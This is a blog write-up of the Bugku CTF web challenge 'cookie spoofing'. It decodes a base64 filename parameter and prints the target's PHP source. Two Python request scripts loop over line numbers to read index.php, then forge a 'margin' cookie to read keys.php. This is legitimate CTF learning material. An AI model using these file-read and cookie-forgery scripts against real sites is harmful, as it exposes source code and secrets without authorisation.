【bugku】web20 cookies欺骗

题目

进入题目看到url

http://114.67.246.176:17939/index.php?line=&filename=a2V5cy50eHQ=

很熟眼,line功能应该就是行数,filename就是base64加密后的文件,放进get读取文件
试试读index.php
在这里插入图片描述
可以读,换下行数也可以读出来剩下的,但我选择用脚本

import requests
def fun(num):
    session = requests.Session()
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Cache-Control":"max-age=0","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0","Connection":"keep-alive","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding":"gzip, deflate"}
    cookies = {"PHPSESSID":"ldo37io8vtliadt76v2bv8mf43"}
    paramsGet = {"line":num,"filename":"aW5kZXgucGhw"} //index.php的base64密文 
    response = session.get("http://114.67.246.176:17939/index.php", params=paramsGet, headers=headers, cookies=cookies)
    print(response.text)
for i in range(0,30):
    fun(i)

读取出来的源码,美化后

<?php
error_reporting(0);
$file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");
$line = isset($_GET['line']) ? intval($_GET['line']) : 0;
if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
    '0' => 'keys.txt',
    '1' => 'index.php',
);
if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {
    $file_list[2] = 'keys.php';
}
if (in_array($file, $file_list)) {
    $fa = file($file);
    echo $fa[$line];
}
?>

说的是只要cookie里面有"margin":"margin",就会在数组里面加上keys.php,那我们可以把目标放到keys.php上

import requests
def fun(num):
    session = requests.Session()
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Cache-Control":"max-age=0","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0","Connection":"keep-alive","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding":"gzip, deflate"}
    cookies = {"PHPSESSID":"ldo37io8vtliadt76v2bv8mf43","margin":"margin"}
    paramsGet = {"line":num,"filename":"a2V5cy5waHA="} //keys.php的base64密文
    response = session.get("http://114.67.246.176:17939/index.php", params=paramsGet, headers=headers, cookies=cookies)
    print(response.text)
for i in range(0,30):
    fun(i)

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值